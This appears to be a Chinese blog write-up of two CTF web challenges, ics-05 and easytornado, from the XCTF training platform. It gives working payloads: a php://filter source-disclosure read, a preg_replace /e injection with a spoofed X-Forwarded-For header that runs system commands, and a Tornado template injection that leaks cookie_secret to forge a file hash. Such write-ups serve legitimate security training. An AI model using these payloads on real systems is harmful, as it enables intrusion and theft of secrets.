当前位置:网站首页>【攻防世界WEB】难度三星9分入门题(中):ics-05、easytornado
【攻防世界WEB】难度三星9分入门题(中):ics-05、easytornado
2022-07-23 11:11:00 【黑色地带(崛起)】
目录
三、ics-05
解题方法:
1、php代码理解、php伪协议
过程:
进去先扫了一遍
index.html是首页
index.php是唯一可以点的云平台设备维护中心(重点应该在这个页面了)
查看页面源码
Ctrl+U
发现最下面有base64加密的密文
解密后
(和后面读取到的源码是一样的)
点击后,发现了传参
考虑:
注入
文件包含
php伪协议(执行php代码)
注入:(无)
文件包含:
可以读到很多,但是在这一关,通过这无法找到flag
全局环境
端口名
服务编号-端口表
php伪协议:
?page=php://filter/read=convert.base64-encode/resource=index.php
(使用base64加密后,带出来的时候就不会被执行了,然后自己再解码)
使用这个工具解码有乱码(换了一个工具进行解码)
使用在线解码工具
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1 echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); //将subject中匹配pattern的部分用replacement替换 }else{ die();这段代码应该是重点了
需要:
1、X-Forwarded-For: 127.0.0.1
2、参数pat、rep、sub3、preg_replace函数:preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,启用/e参数,就会将replacement当做php代码执行
构造payload:
?pat=//e&rep=system("ls")&sub=1
使用bp抓包
payload:
?pat=//e&rep=system("ls%20-R%20s3chahahaDir")&sub=1
ls -R 递归显示文件夹目录所有文件
%20 是空格url编码
payload:
读取flag
?pat=//e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1
![]()
四、easytornado
解题方法:
1、Tornado 框架漏洞、MD5加密
过程:
知道了文件名了
MD5的生成方法
我们已经知道了文件名,就还要找到cookie_secret
本关提示是Tornado 框架
网上相关框架漏洞,可用{ {handler.settings}}访问配置文件
看见上面页面中有file?filename=传参
构造payload:/file?filename={ {handler.settings}}
发现报错了
并有error?msg=进行传参
尝试构造/error?msg={ {handler.settings}}
爆出了cookie_secret
b10655cb-3884-492c-b534-4feff4790db3
前面得到的MD5(Cookie_secret+MD5(filename) )
Cookie_secret=b10655cb-3884-492c-b534-4feff4790db3
MD5(/fllllllllllllag) =3bf9f6cf685a6dd8defadabfb41a03a1
所以
MD5(Cookie_secret+MD5(filename) )=(b10655cb-3884-492c-b534-4feff4790db33bf9f6cf685a6dd8defadabfb41a03a1)
得到的MD5为
4f91aebe3800a21135e140d4f94424e1
将flag.txt页面的参数构造为访问/fllllllllllllag的参数
file?filename=/fllllllllllllag&filehash=4f91aebe3800a21135e140d4f94424e1
边栏推荐
猜你喜欢
随机推荐
C语言书写规范
[heuristic divide and conquer] the inverse idea of heuristic merging
As a tester, you cannot fail to understand ADB commands and operations
Idea starts multiple projects at once
IDEA 提高效率的5大免费插件
C语言经典例题-逆序打印输入的两位数
10100
Redis中 LRU和LFU的淘汰策略区别
MySQL执行顺序
【Pygame实战】打扑克牌嘛?赢了输了?这款打牌游戏,竟让我废寝忘食。
Quickly master QML Chapter 5 components
aws篇3 go语言如何publish message 到iot的MQTT
C语言经典例题-两个分数相加
Clickhouse, let the query fly!!!
作为测试人员,不能不懂的adb命令和操作
《快速掌握QML》第五章 组件
SCA在得物DevSecOps平台上应用
PHP代码审计4—Sql注入漏洞
Use of RSA encryption
RTA is a new way to accurately launch advertisements?








服务编号-端口表


























